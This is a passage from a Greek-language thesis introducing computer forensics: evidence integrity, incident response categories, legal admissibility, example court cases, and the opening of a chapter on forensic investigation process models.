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ΚΕΦΑΛΑΙΟ 1
ΕΙΣΑΓΩΓΗ
Η Σήμανση Υπολογιστών (Computer Forensics) αποτελεί έναν εξειδικευμένο και ταχέως 
αναπτυσσόμενο κλάδο της έρευνας .Τα τελευταία χρόνια υπήρξε στροφή από την συμβατική 
διερεύνηση έντυπων στοιχείων, στην εντατική διερεύνηση της πληθώρας αρχείων και πιθανών 
στοιχείων που αποθηκεύονται σε ηλεκτρονική μορφή, τόσο σε υπολογιστικά συστήματα όσο και σε 
άλλες περιφερειακές ηλεκτρονικές συσκευές.
Αυτή η μεταστροφή στην διερεύνηση στοιχείων, οφείλεται κυρίως στην μεγάλη αύξηση της χρήσης 
των ηλεκτρονικών υπολογιστών, που διαθέτουν μεγάλη χωρητικότητα αποθήκευσης δεδομένων, σε 
συνδυασμό με την πεποίθηση των ερευνητών πως πολλά στοιχεία που δεν βρίσκονται σε έντυπη) 
φυσική μορφή μπορεί να βρίσκονται αποθηκευμένα σε ηλεκτρονική μορφή.
Με τον όρο Computer Forensics [2] πρωταρχικά αναφερόμαστε στην επιστήμη εκείνη που έχει ως 
κύριο μέλημα την εντατική μελέτη και γνώση των υπολογιστών και των μεθόδων αποθήκευσης σε 
αυτούς, με βασικό σκοπό την άντληση δεδομένων/στοιχείων με τρόπο κατά τον οποίο να μην 
επηρεάζεται η ακεραιότητα αυτών. Ο όρος Computer Forensics βέβαια έχει συσχετιστεί σε μεγάλο 
βαθμό πλέον με την εξιχνίαση ηλεκτρονικών εγκλημάτων, που έκαναν την επιστήμη αυτή πιο 
δημοφιλή.
Κλειδί λοιπόν στην διαδικασία που ακολουθείται για την ανάκτηση αυτών των στοιχείων είναι η 
μεθοδική τήρηση κανόνων με σκοπό τα στοιχεία αυτά που θα ανακτηθούν να είναι αποδεδειγμένα 
ακέραια ως προς το περιεχόμενό τους ώστε να υπάρχει η δυνατότητα χρήσης τους σε νομικές 
διαδικασίες.
Η Σήμανση Υπολογιστών (Computer Forensics) περιλαμβάνει:
-Ανάκτηση δεδομένων που έχουν διαγράφει εσκεμμένα ή μη, έχουν υποστεί βλάβη, είναι κρυφά, 
είναι προστατευμένα με κωδικούς ή είναι κρυπτογραφημένα .
-Ανάκτηση δεδομένων από υπολογιστικά συστήματα τα οποία έχουν υποστεί βλάβες εσκεμμένες ή 
μη, έχουν προσβληθεί από κάποιον ιό ή ακόμη χειρότερα όταν υπάρχει ολική απώλειά τους.
Εξαιτίας των παραπάνω με τον όρο Computer Forensics μπορούμε να περιγράφουμε την 
επιστημονική διαδικασία της διατήρηση, του προσδιορισμού, της εξαγωγής , της τεκμηρίωσης και 
της ερμηνείας των στοιχείων που διατηρούνται σε ηλεκτρονικά μέσα αποθήκευσης.
Στόχος της διπλωματικής αυτής είναι:
• Η παρουσίαση των βασικών Μεθοδολογιών\Μοντέλων που ακολουθεί ένας Forensic 
Investigator.
• Η παρουσίαση των Τεχνικών που ακολουθούνται για την Ανάκτηση δεδομένων σε μία 
έρευνα Forensic.
• Η παρουσίαση Τεχνικών ανακάλυψης κρυμμένων αρχείων.
• Η εκτενής παρουσίαση των ιδιοτήτων των NTFS Alternate Data Streams άλλα και του ρόλου 
τους σε μία έρευνα Forensic μέσα από ρεαλιστικά παραδείγματα.
• Η ανάπτυξη ειδικευμένου λογισμικού για την εξεύρεση NTFS Alternate Data Streams σε 
οποιαδήποτε μορφή και αν βρίσκονται αυτά , ανεξαρτήτως File System, τηρώντας 
παράλληλα όλες τις αξιώσεις ενός Forensic μοντέλου .
• Η ανάπτυξη Προτεινόμενης Μεθοδολογίας/Τεχνικής Διαχείρισης Υπόπτων Αρχείων που 
συμπληρώνει τις ήδη υπάρχουσες μεθοδολογίες και τεχνικές.
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ΕΝΟΤΗΤΑ 1.1 - Η ΔΙΑΔΙΚΑΣΙΑ
Η διαδικασία της Σήμανσης Υπολογιστών διαφέρει από τις κλασικές μεθόδους σήμανσης στο ότι 
[13] χρησιμοποιούνται αυστηροί έλεγχοι και διαδικασίες για να διασφαλιστεί ότι όλα τα δεδομένα 
που αναζητούνται θα εντοπιστούν σε μορφή ικανή προς χρήση και αν δεν εντοπιστούν να υπάρξει 
διαπίστευση ότι δεν υπήρχαν πουθενά αποθηκευμένα μέσα στον υπολογιστή ή ότι υπήρχαν αλλά σε 
μορφή που να μην ήταν χρησιμοποιήσιμη .Ακόμη πρέπει να υπάρχει πιστοποίηση ως προς την 
ακεραιότητα των δεδομένων κατά την ανάκτησή τους σε ότι αφορά το περιεχόμενο τους ,ώστε να 
είναι δυνατή η χρήση τους στην αίθουσα του δικαστηρίου ή σε άλλες νομικές διαδικασίες.
Όποια και αν είναι η μορφή στην οποία βρίσκονται τα δεδομένα προς ανάκτηση (πχ. κρυφά, 
κρυπτογραφημένα, κατεστραμμένα) ο υπεύθυνος για την σήμανση ενός υπολογιστή πρέπει πάντα να 
ακολουθεί αυστηρά τις εξής διαδικασίες[21]:
-Ανάκτηση των δεδομένων χωρίς να υπάρξει αλλοίωση του αρχικού τους περιεχομένου. 
-Πιστοποίηση ως προς το ότι τα δεδομένα που έχουν ανακτηθεί, είναι ίδια με τα αρχικά. 
-Κατηγοριοποίηση των ανακτημένων δεδομένων.
-Ανάλυση των δεδομένων χωρίς να υπάρχει αλλοίωση τους.
-Κατηγοριοποίηση των δεδομένων που αναλύθηκαν.
-Τεκμηρίωση, που θα πρέπει να υπάρχει σε όλα τα παραπάνω στάδια.
ΕΝΟΤΗΤΑ 1.2 - ΠΟΥ ΕΦΑΡΜΟΖΕΤΑΙ
Όπως αναφέρθηκε και προηγουμένως η επιστήμη του Computer Forensics μπορεί να βρει εφαρμογή 
σε πολλές ηλεκτρονικές συσκευές που χρησιμοποιούμε καθημερινά ακόμη και αν αυτές δεν έχουν 
ως κύρια χρήση τους την αποθήκευση δεδομένων. Ο προσωπικός υπολογιστής, φορητός ή μη, ένα 
κινητό τηλέφωνο, ένα φορητό μέσο αποθήκευσης (πχ. εξωτερικοί σκληροί δίσκοι, USB 
thumbdrives), pda’s, δρομολογητές (routers), switches, είναι μερικές συσκευές στις οποίες συνήθως 
εφαρμόζονται τεχνικές Computer Forensics προκειμένου να βρούμε τα ζητούμενα στοιχεία.
Άλλες λιγότερο συνηθισμένες συσκευές στις οποίες μπορεί να εφαρμοστούν τεχνικές Computer 
Forensics είναι εκτυπωτές (printers), σαρωτές (scanners), φωτοτυπικά μηχανήματα, μηχανήματα fax, 
ψηφιακές φωτογραφικές μηχανές, τηλεφωνικά κέντρα.
Ακόμη και αν όλα τα δεδομένα ανακτηθούν και ανασυγκροτηθούν, η διαδικασία θα σταματούσε εδώ 
αν τα πολύτιμα δεδομένα που ανακτήθηκαν ήταν κρυπτογραφημένα ή κλειδωμένα με κωδικό 
πρόσβασης.
Ένα ακόμη λοιπόν εμπόδιο που πρέπει να ξεπεραστεί είναι ο προσδιορισμός στο συντομότερο 
χρονικό διάστημα των κωδικών που θα μπορούσαν να ξεκλειδώσουν αυτά τα αρχεία. Για να 
επιτευχθεί αυτό πρέπει να γνωρίζουμε τον τρόπο (αλγόριθμο) με τον οποίο έχουν κρυπτογραφηθεί 
τα δεδομένα και να εφαρμοστεί το κατάλληλο είδος «επίθεσης» προκειμένου να γίνει 
αποκρυπτογράφηση και να εντοπισθεί το χαμένο συνθηματικό.[19]
Αυτό πού είναι σημαντικό και πρέπει να χαρακτηρίζει κάθε περίπτωση όπου χρησιμοποιείται το 
Computer Forensics , είναι ότι το τελικό αποτέλεσμα όπως συνοψίζεται από τον αναλυτή, δεν είναι 
τυχαίο ή απίθανο αποτέλεσμα, αλλά πάντα εξάγεται μέσα από μια ντετερμινιστική διαδικασία. 
Δηλαδή τα ίδια αρχικά δεδομένα/στοιχεία περνώντας από κάθε βήμα συγκεκριμένης μεθόδου του 
Computer Forensics δίνουν ακριβώς το ίδιο αποτέλεσμα και αν αυτά τα δεδομένα εξεταστούν από 
διαφορετικούς αναλυτές, τότε εκείνοι θα καταλήξουν στα ίδια συμπεράσματα .Αυτό είναι μια πολύ 
σημαντική ιδιότητα καθώς με αυτόν τον τρόπο αποδεικνύεται η αντικειμενικότητα που έχει μια 
τέτοια ανάλυση. Η ιδιότητα δε αυτή, την κάνει μια διαδικασία κατάλληλη για ασφαλή 
συμπεράσματα τα οποία μπορεί να τεθούν ενώπιων δικαστικής αρχής ή ενός οργανισμού που θα 
ζητούσε να διεξαχθεί έρευνα.
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Το ερώτημα «ποια ανάγκη καλύπτει» ή « γιατί χρειαζόμαστε αυτή την επιστήμη» απαντάται αν 
εξεταστούν οι στατιστικές που δείχνουν μεγάλη αύξηση σε μη εξουσιοδοτημένη χρήση 
πληροφοριακών συστημάτων σε όλο τον κόσμο [20],Πολλοί φορείς δηλώνουν άγνοια για το αν τα 
πληροφοριακά τους συστήματα έχουν γίνει αντικείμενο κατάχρησης από παράνομη ή 
μη εξουσιοδοτημένη χρήση, κάτι που δείχνει την ανάγκη για απόδειξη του τρόπου χρήσης των 
συστημάτων αυτών. Αυτό είναι κάτι που πρέπει να γίνει με τέτοιο τρόπο ούτως ώστε να μπορούν τα 
στοιχεία να συλλεχθούν, να αναλυθούν και να μπορούν να στοιχειοθετήσουν κατηγορία σε πιθανές 
δικαστικές διαδικασίες. Καταλήγουμε δηλαδή στο συμπέρασμα ότι το Computer Forensics πρέπει να 
εξασφαλίζει κάποιες παραμέτρους προκειμένου να διασφαλίζει κριτήρια που αποδεικνύουν την μη- 
παραποίηση των στοιχείων αφενός και αφετέρου την αναγνωσιμότητα/μεταφερσιμότητα των 
συμπερασμάτων σε οργανισμούς, υπηρεσίες, εταιρείες ακόμα και απλούς πολίτες.
Αυτά περιγράφονται από τα εξής στοιχεία της έρευνας :
• Διαφύλαξη: Είναι πολύ σημαντικό να μπορεί να αποδειχθεί ότι τα δεδομένα πέρασαν από 
όλες τις διαδικασίες του Forensics χωρίς να έχουν υποστούν αλλαγές σε σχέση με την αρχική 
τους μορφή.
• Απόκτηση: Η απόκτηση των δεδομένων είναι μια σαφής και ορισμένη διαδικασία σύμφωνα 
με την οποία διασφαλίζεται ότι τα δεδομένα δεν έχουν επηρεαστεί από εξωτερικούς, είτε 
ανθρώπινους είτε τεχνολογικούς παράγοντες.
• Ανάλυση: Αποτελεί την εξαγωγή συμπερασμάτων που σχετίζονται με τις πληροφορίες που 
μελετήθηκαν.
• Ανακάλυψη: Είναι η διαδικασία απομόνωσης των σχετικών με την περίπτωση στοιχείων 
που παρουσιάζουν ενδιαφέρον.
• Τεκμηρίωση: Είναι ο τρόπος με τον οποίο αποδεικνύεται ότι ακολουθήθηκε με επιμέλεια η 
ορισμένη διαδικασία από την αρχή ως το τέλος της υπόθεσης.
• Παρουσίαση: Αποτελεί την μετατροπή των συμπερασμάτων της έρευνας σε κατανοητή 
μορφή ,από την εταιρεία, την εκτελεστική εξουσία , το δικαστικό περιβάλλον ή τον ιδιώτη.
Υπάρχει η ανάγκη διαχωρισμού των περιπτώσεων που μελετάει το Computer Forensics. Η έρευνα - 
διαδικασία που διεξάγεται κάθε φορά παίρνει απόχρωση:[2]
1. Ανάλογη με την περίπτωση
2. Ανάλογα με την ανάγκη για διαλεύκανση των υποθέσεων
3. Ανάλογα με το ποιος ζήτησε την διεξαγωγή της διαδικασίας
4. Ανάλογα με την εξέλιξη της υπόθεσης κατά την διάρκεια της έρευνας
Σε αυτά τα πλαίσια και ως προς το κομμάτι της έρευνας, το Computer Forensics ορίζεται σαν μια 
διαδικασία διερεύνησης τεχνολογικού εξοπλισμού (όπως προσωπικοί υπολογιστές) και σχετικών 
μέσων αποθήκευσης (όπως σκληροί δίσκοι), για το αν έχουν χρησιμοποιηθεί κατά την διάπραξη 
κάποιου εγκλήματος ή για μη εξουσιοδοτημένες διεργασίες.
Ορίζουμε σαν ηλεκτρονικό έγκλημα την παραβίαση τοπικού, κρατικού, ομοσπονδιακού ή 
παγκόσμιου νόμου, ενώ ορίζουμε σαν μη-εξουσιοδοτημένη διεργασία οποιαδήποτε πράξη 
παραβιάζει πολιτική και τακτική εταιρικού ή εργασιακού περιβάλλοντος. [21]
Αυτό διαχωρίζει (ως προς την έρευνα ) την εγκληματική από την εταιρική διερεύνηση κι αυτό
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σημαίνει ότι κάθε κατηγορία υπάγεται στους νόμους και τους κανόνες που ορίζει το περιβάλλον που 
την διατάσει.
Στην κατηγορία της εγκληματικής διερεύνησης εξετάζονται περιπτώσεις όπως παιδική 
πορνογραφία, υπεξαίρεση χρημάτων, παράνομη πρόσβαση σε δεδομένα και απάτη ή δόλος.
Στην κατηγορία της εταιρικής διερευνησης εκτός από την παράνομη πρόσβαση εξετάζονται 
υποθέσεις εταιρικής απάτης, κατάχρηση υπολογιστικού συστήματος, περιπτώσεις πιθανής 
βιομηχανικής κατασκοπείας ή φιλοξενίας περιεχομένου παράνομου ως προς τις εταιρικές αρχές ή 
ειδικές περιπτώσεις όπως όταν, για παράδειγμα, κάποιος δυσαρεστημένος υπάλληλος μπορεί να έχει 
κρύψει σημαντικά αρχεία και πληροφορίες χωρίς να γνωστοποιεί τους κωδικούς πρόσβασης με 
σκοπό να προκαλέσει ζημιά στην εταιρία. Αυτές οι δυο κατηγορίες πολλές φορές επικαλύπτονται, 
όπως στις περιπτώσεις, παραδείγματος χάριν, φιλοξενίας πορνογραφικού περιεχομένου που 
αντιτίθεται στην πολιτική της εταιρίας το οποίο μετά από διερεύνηση προκύπτει ότι πρόκειται για 
υλικό παιδικής πορνογραφίας, άρα παράβαση νόμων του κράτους.
Εξάλλου οι υπολογιστές μπορεί να αποτελούν μέρος μιας δραστηριότητας που χρήζει περαιτέρω 
διερεύνησης με χρήση των τεχνικών Forensics με τρεις τρόπους:
1. Στόχος :
Όταν το υπολογιστικό σύστημα εκτέθηκε σε παράνομη δραστηριότητα μετά από επίθεση, 
κατάληψη και χρησιμοποίηση του από τρίτους, συνήθως εν αγνοία του διαχειριστή/χειριστή του 
συστήματος.
2. Εργαλείο :
Όταν το υπολογιστικό σύστημα χρησιμοποιήθηκε καθεαυτό για να υλοποιήσει στόχους 
παράνομης ή μη ορθής δραστηριότητας από ανθρώπους που είχαν πρόσβαση σε αυτό.
3. Ενδιάμεσος :
Όταν το υπολογιστικό σύστημα δεν χρησιμοποιήθηκε ακριβώς σε κάποια διαδικασία αλλά 
μπορούμε σε αυτό να εντοπίσουμε ενδιαφέροντα στοιχεία όπως firewall logs, intrusion detection 
logs κ.α.
ΕΝΟΤΗΤΑ 1.3 - INCIDENT RESPONSE
Ένας ακόμη σημαντικός ορισμός που πρέπει να αναφερθεί είναι αυτός του Incident Response 
[2],Πρόκειται για τη διαδικασία ανταπόκρισης σε ένα περιστατικό που σχετίζεται με πληροφοριακά 
συστήματα είτε αυτό αφορά εγκληματική ενέργεια, είτε παραβίαση πολιτικής εταιρείας, είτε αφορά 
νόμιμη ανάκτηση δεδομένων.
Χρησιμοποιώντας συγκεκριμένη μεθοδολογία διασφαλίζονται, διατηρούνται και τεκμηριώνονται τα 
ηλεκτρονικά στοιχεία, χρησιμοποιώντας έναν προτυποποιημένο τρόπο. Αυτό το κομμάτι είναι 
καθοριστικό για την σωστή ανάλυση και την εξαγωγή συμπερασμάτων στην πορεία της διαδικασίας. 
Αφενός εάν πρόκειται για δικαστική έρευνα, στην περίπτωση που δεν είναι σωστά τεκμηριωμένο το 
κομμάτι του Incident Response, όλη η έρευνα μπορεί να κριθεί μη επαρκής σαν αποδεικτικό 
στοιχείο. Στις άλλες περιπτώσεις η σωστή απόκριση σε ένα περιστατικό λειτουργεί καταλυτικά στην 
ταξινόμηση των γεγονότων και την πρώτη εξαγωγή συμπερασμάτων, καθώς και την διασφάλιση ότι 
τα δεδομένα, παραδείγματος χάριν, του πελάτη ανακτήθηκαν χωρίς να υπάρχει η παραμικρή 
απώλεια. Γενικά ξεχωρίζουμε τις εξής κατηγορίες περιστατικών :
1. Εγκληματικό περιστατικό:
Είναι οι περιπτώσεις κατά τις οποίες παραβιάστηκε κάποιος ή κάποιοι νόμοι σε τοπικό ,
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κρατικό, ομοσπονδιακό, και διεθνές επίπεδο.
2. Εταιρικό περιστατικό:
Είναι οι περιπτώσεις στις οποίες διακρίνουμε παράβαση πολιτικής της εταιρείας, σαμποτάζ, ή 
κατάχρηση των υπολογιστικών της πόρων, το οποίο μπορεί να καταλήξει υπό προϋποθέσεις σε 
εγκληματικό περιστατικό.
3. Ιδιωτικό/Πολιτικό περιστατικό:
Είναι οι περιπτώσεις που ανταποκρίνονται σε υποθέσεις πολιτών είτε αυτές αναφέρονται σε 
επίπεδο έρευνας για να διαπιστωθεί μια παράβαση νόμου, είτε αναφέρονται σε απλές 
περιπτώσεις ανάκτησης δεδομένων, κωδικών και άλλων ευαίσθητων πληροφοριών.
Γενικά πρέπει να τονιστεί ότι οι παραπάνω κατηγορίες είναι ενδεικτικές και πολλές φορές το αρχικό 
περιστατικό, μετά από έρευνα, μεταπίπτει σε άλλη κατηγορία από αυτή στην όποια ξεκίνησε. Ο 
διαχωρισμός αυτός καθορίζει κυρίως την αρχική αντίδραση του αναλυτή, ενώ η μεθοδολογία που 
χρησιμοποιείται διασφαλίζει ότι η μεταπήδηση από την μια κατηγορία στην άλλη δεν θα επιφέρει 
απώλεια σημαντικών για κάθε κατηγορία στοιχείων.
Ο αναλυτής ο οποίος διεξάγει την έρευνα ονομάζεται τυπικά Investigator και ο ρόλος του είναι να 
ακολουθήσει την διαδικασία πιστά παραμένοντας όμως αμερόληπτος καθ’ όλη τη διάρκειά της. 
Επιπλέον εκτός από την αναφορά είτε απαλλακτικών, είτε καταδικαστικών στοιχείων που έχει 
υποχρέωση να αναφέρει σε περιπτώσεις εγκληματικών περιστατικών, έχει επίσης τον πολύ 
σημαντικό ρόλο του να κάνει κατανοητά όλα τα ευρήματα κατά την παρουσίαση τους με τρόπο 
σαφή. Επίσης είναι υποχρεωμένος να έχει απόλυτο έλεγχο των στοιχείων από την αρχή μέχρι το 
τέλος, παρουσιάζοντας λεπτομερή αρχεία που αποδεικνύουν, τι επεξεργασία δέχθηκαν τα στοιχεία, 
από ποιόν και που βρίσκονταν ανά πάσα στιγμή. Γι αυτό το λόγο οι τεχνικές του Computer 
Forensics περιλαμβάνουν έγγραφα που συμπληρώνονται σταδιακά και εξασφαλίζουν όχι μόνο την 
πιστή ακολουθία της διαδικασίας αλλά και την απόδειξη ότι τα στοιχεία δεν έχουν παραποιηθεί από 
τον Investigator αλλά και κανέναν άλλον χρησιμοποιώντας τεχνικές κατακερματισμού (hashing), 
χρονοσφραγίδες, access-logs και άλλες τεχνικές. Εξάλλου ο Investigator πρέπει να χειρίζεται τις 
υποθέσεις με μεγάλη εχεμύθεια και ευθύνη απέναντι σε αυτούς που του ανέθεσαν την υπόθεση. 
Γίνεται κατανοητό το πόσο σημαντικό είναι αυτό, αν αναλογιστεί κανείς τι μεγάλο κίνδυνο 
διατρέχουν οι εταιρείες αλλά και οι πολίτες από τη στιγμή που εμπιστεύονται πάρα πολύ σημαντικά 
έγγραφα και δεδομένα σε κάποιον εμπειρογνώμονα, δίνοντας του απεριόριστη πρόσβαση σε 
εξαιρετικά ευαίσθητες πληροφορίες τους. Γι αυτό η διασφάλιση της εμπιστοσύνης μεταξύ των δυο 
μερών, όπως και η αμεροληψία του Investigator δεν είναι ζήτημα απλώς καλής πίστης αλλά μάλλον 
από τα πιο κρίσιμα σημεία της συμφωνίας των δύο μερών.
ΕΝΟΤΗΤΑ 1.4 - ΕΠΕΞΕΡΓΑΣΙΑ ΨΗΦΙΑΚΩΝ ΔΕΔΟΜΕΝΩΝ
Αποτίμηση:
Ο εξεταστής των ψηφιακών δεδομένων πρέπει να ελέγχει με πολύ προσοχή τα ψηφιακά στοιχεία που 
του δίνονται και ανάλογα με την περίπτωση να τα διαχειρίζεται με σκοπό την καλύτερη επεξεργασία 
τους.
Ανάκτηση:
Τα ψηφιακά στοιχεία ως γνωστόν είναι αρκετά ευαίσθητα σε αλλοιώσεις που πολλές φορές μπορεί 
και να μην είναι αναστρέψιμες. Η mo σωστή διαδικασία για την διερεύνηση μίας υπόθεσης λοιπόν,
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περιλαμβάνει την ακριβή αντιγραφή των δεδομένων και έπειτα τον διεξοδικό έλεγχο του αντιγράφου 
των δεδομένων και όχι των πρωτότυπων στοιχείων.
Βασικός σκοπός είναι πάντα η διατήρηση της ακεραιότητας των δεδομένων.
Εξέταση:
Ο σκοπός της διαδικασίας της εξέτασης είναι α) η εξαγωγή μετά την ανάκτηση δεδομένων αλλά και 
β) η διεξοδική ανάλυση τους. Με τον όρο εξαγωγή αναφερόμαστε στην διαδικασία κατά την οποία 
τα δεδομένα αντλούνται από ψηφιακά μέσα αποθήκευσης δεδομένων. Με τον όρο της ανάλυσης 
δεδομένων αναφερόμαστε στην «μετάφραση» των δεδομένων που ανακτήθηκαν, στην μετατροπή 
τους δηλαδή σε λογική και χρησιμοποιήσιμη μορφή για την περαιτέρω επεξεργασία τους.
Καταγραφή και στοιχειοθέτηση:
Ενέργειες και παρατηρήσεις πρέπει να καταγράφονται αναλυτικά καθόλη την διάρκεια των 
διαδικασιών που ακολουθούνται. Τελικά για να ολοκληρωθεί επιτυχημένα η όλη διαδικασία πρέπει 
να δημιουργηθεί από τον εξεταστή μια συνολική αναφορά με όλα τα ευρήματα.
ΕΝΟΤΗΤΑ 1.5 - ΠΛΕΟΝΕΚΤΗΜΑΤΑ - ΜΕΙΟΝΕΚΤΗΜΑΤΑ
Το κύριο πλεονέκτημα της επιστήμης αυτής είναι ότι δίνεται η δυνατότητα εξέτασης και ελέγχου 
τεραστίων ποσοτήτων δεδομένων, τα οποία χωρίς τα εργαλεία που έχουν αναπτυχθεί έως σήμερα 
δεν θα μπορούσαν να εξεταστούν σε μικρό χρονικό διάστημα.
Ακόμη δίνεται η δυνατότητα ανάκτησης δεδομένων από μέσα αποθήκευσης τα οποία είναι 
θεωρητικά κατεστραμμένα αλλά πρακτικά με τις μεθόδους που έχουν αναπτυχθεί μπορούμε ακόμη 
να τα εξάγουμε.
Τέλος δίνεται η δυνατότητα τα δεδομένα που ανακτώνται να μπορούν να χρησιμοποιηθούν στις 
αίθουσες του δικαστηρίου ή σε άλλες νομικές υποθέσεις καθώς οι διαδικασίες που ακολουθούνται 
εγγυώνται την ακεραιότητά τους.
Στον αντίποδα τώρα, τα μειονεκτήματα που υπάρχουν ως προς την πρακτική αυτής της επιστήμης 
είναι ότι η διαδικασία ανάκτησης των δεδομένων χωρίς να υπάρξει βλάβη της ακεραιότητάς μπορεί 
να είναι χρονοβόρα αλλά και να κοστίζει αρκετά χρήματα. Ένα άλλο μεγάλο μειονέκτημα είναι πως 
πολλές φορές μπορεί να μην οδηγηθούμε στα επιθυμητά αποτελέσματα, δηλαδή οι διαδικασίες που 
ακολουθούνται δεν εγγυώνται σε απόλυτο ποσοστό την επιτυχία.
ΕΝΟΤΗΤΑ 1.6 - ΝΟΜΙΚΑ ΖΗΤΗΜΑΤΑ
Από τα πρώτα χρόνια της χρήσης των προσωπικών υπολογιστών έγινε φανερή η ανάγκη για χρήση 
τους σαν πειστήρια, ή στοιχεία προς εξέταση στις αίθουσες των δικαστηρίων [6].Τα προβλήματα 
βέβαια στην χρήση των ηλεκτρονικών στοιχείων δεν άργησαν να εμφανιστούν εφόσον δεν υπήρχε 
μία αξιόπιστη μεθοδολογία για την απόδειξη της ακεραιότητας αλλά και αυθεντικότητάς τους. Η 
ανάπτυξη της επιστήμης του Computer Forensics κρίθηκε αναγκαία προκειμένου να 
χρησιμοποιηθούν τα αυξανόμενα ηλεκτρονικά στοιχεία που έφταναν στα χέρια των δικαστηρίων για 
την διαλεύκανση υποθέσεων.
Απόλυτος σκοπός λοιπόν μίας έρευνας σήμανσης που έχει ως σκοπό την εξαγωγή στοιχείων για 
χρήση στο δικαστήριο ή σε άλλα νομικά ζητήματα είναι τα στοιχεία τα οποία επεξεργάζεται να 
έχουν τα εξής χαρακτηριστικά:
-αυθεντικότητα
-ακρίβεια
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-ολότητα
-να γίνονται πειστικά
-να έχουν λογική συσχέτιση με το αντικείμενο της υπόθεσης
ΕΝΟΤΗΤΑ 1.7 - ΠΑΡΑΔΕΙΓΜΑΤΑ
Η χρησιμότητα της επιστήμης της Σήμανσης Υπολογιστών μπορεί να αξιολογηθεί λαμβάνοντας υπ’ 
όψη τα παρακάτω παραδείγματα [10].
Σε μια υπόθεση παιδικής πορνογραφίας στις ΗΠΑ οι κατηγορίες ενισχύθηκαν από την ύπαρξη 
ηλεκτρονικών στοιχείων που βρέθηκαν έπειτα από διεξοδική έρευνα στον σκληρό δίσκο του 
υπολογιστή του κατηγορούμενου. Τα στοιχεία είχαν σβηστεί από την internet cache μνήμη του 
υπολογιστή. (United States vs Tucker)
Σε μία υπόθεση που αφορούσε τον φόνο μίας νεαρής γυναίκας σε νυχτερινό κέντρο διασκέδασης, 
στην Ευρώπη, το νυχτερινό κέντρο είχε στην διάθεσή του σύστημα ηλεκτρονικής καταγραφής των 
στοιχείων των ατόμων τα οποία βρίσκονταν στο μαγαζί κάθε βράδυ. Τα στοιχεία της συγκεκριμένης 
νύχτας είχαν σβηστεί, παρ’ όλα αυτά με την χρήση των κατάλληλων διαδικασιών ο υπεύθυνος 
Forensics που είχε αναλάβει την υπόθεση κατάφερε να επαναφέρει τα στοιχεία και να εντοπιστεί 
έτσι η ταυτότητα του ενόχου, (http://www.cvber-forensics.ltd.uk/)
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ΚΕΦΑΛΑΙΟ 2
ΕΝΟΤΗΤΑ 2.1 - ΜΟΝΤΕΛΑ
Όπως σε κάθε τομέα επιστημονικού περιεχομένου επιδιώκεται η εξεύρεση προτύπων και μοντέλων 
κοινά αποδεκτών, που διευκολύνουν τους αποδέκτες του πεδίου να μιλούν μια κοινή γλώσσα και να 
βασίζονται στις ίδιες αρχές, έτσι και στον τομέα του Computer Forensics έχει γίνει μια προσπάθεια 
προτυποποίησης και μοντελοποίησης κάποιων διαδικασιών. Η ανάγκη αυτή, στην περίπτωση που 
μελετάμε γίνεται ακόμη πιο απαραίτητη δεδομένης της ακρίβειας και της διασφάλισης της 
ακεραιότητας που πρέπει να έχει κάθε στοιχειοθετούμενη υπόθεση προκειμένου να κατατεθεί σε 
δικαστικούς φορείς.
Δηλαδή, δεν είναι μόνο η ανάγκη ενοποίησης των τρόπων μελέτης εγκληματικών και μη υποθέσεων 
προς εξυπηρέτηση των μελετητών και της μεταξύ τους επικοινωνίας, αλλά πολύ περισσότερο η 
ικανοποίηση κρίσιμων παραμέτρων όπως η διασφάλιση των στοιχείων και της αποδεικτική ισχύος 
τους, που πρέπει και να προστατευτεί. Για αυτό το λόγο τα μοντέλα που έχουν αναπτυχθεί είναι 
πολλά, καθένα προσεγγίζοντας αυτές τις ανάγκες στον βαθμό που μπορεί.
Έτσι λοιπόν σε γενικές γραμμές ένα μοντέλο πρέπει να εκπορεύεται από τις παρακάτω αρχές [11]:
1. Το μοντέλο είναι θεμιτό να παραλληλίζεται με τις αρχές της έρευνας όπως αυτές 
προκύπτουν από τον πραγματικό κόσμο, λόγω της τεράστιας εμπειρίας που υπάρχει σε 
αυτόν τον τομέα.
2. Το μοντέλο πρέπει να ορίζεται πρακτικά και να ακολουθεί διαδικασίες όπως ορίζονται 
και σε μια διερεύνηση εγκληματικής ενέργειας του πραγματικού κόσμου, ακολουθώντας 
την ίδια σειρά από βήματα.
3. Το μοντέλο πρέπει να είναι γενικό, έχοντας αξιοποιήσει όλη την υπάρχουσα τεχνολογία, 
χωρίς όμως να γίνεται δέσμιο συγκεκριμένων λογισμικών.
4. Το μοντέλο πρέπει να συγκεκριμενοποιηθεί σε τέτοιο βαθμό, ώστε σε κάθε φάση του να 
είναι δυνατόν να αναπτυχθούν τεχνολογίες που να το υλοποιούν.
5. Το μοντέλο πρέπει να είναι σε μεγάλο βαθμό γενικευμένο ούτως ώστε να μπορεί να 
χρησιμοποιηθεί σε έρευνες επιβολής της τήρησης των νόμων, σε επιχειρησιακές 
υποθέσεις και στις περιπτώσεις του Incident Response όπως έχουν οριστεί παραπάνω.
Σύμφωνα λοιπόν με τα παραπάνω, για το τί πρέπει να πληροί ένα μοντέλο, αλλά και σε συνδυασμό 
με όσα υποστηρίζουν οι Kruse και Heiser [12] για το ποιά είναι τα τρία βασικά στοιχεία μίας 
έρευνας Forensic (3 A’s:Acquiring-Authenticating-Analyzing) καταλήγουμε σε τρία γενικά 
διαδικαστικά μοντέλα που υποστηρίζουν όλα τα παραπάνω, για να αποφασισθεί τελικά ποιό είναι 
κατάλληλο ανάλογα με τις ανάγκες της έρευνάς που πρόκειται να διεξαχθεί.
Τα τρία αυτά μοντέλα είναι:
1. To Forensics Process Model [13]
2. To Abstract Digital Forensics Model [14]
3. To Integrated Digital Investigation Model [15]
ΕΝΟΤΗΤΑ 2.2 - FORENSICS PROCESS MODEL
To Υπουργείο Δικαιοσύνης των Ηνωμένων Πολιτειών Αμερικής δημοσίευσε ένα γενικό 
διαδικαστικό μοντέλο που πρέπει να τηρείται σε κάθε συμβάν «Έρευνα Σκηνής Ηλεκτρονικού 
Εγκλήματος» (Electronic Crime Scene Investigation).
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Ο οδηγός αυτός [13] αποτελείται από τέσσερις βασικές φάσεις:
Συλλογή, είναι η αρχική φάση του μοντέλου και περιλαμβάνει:
• Την έρευνα για ισχυρά στοιχεία
• Την αναγνώριση των στοιχείων
• Την συλλογή των στοιχείων
• Την καταγραφή των στοιχείων
Εξέταση, είναι η φάση που έχει σχεδιαστεί έτσι ώστε να διευκολύνει στην διαφάνεια των στοιχείων, 
ενώ ταυτόχρονα ενημερώνει για την προέλευση και επεξηγεί την σημαντικότητα των στοιχείων 
αυτών.
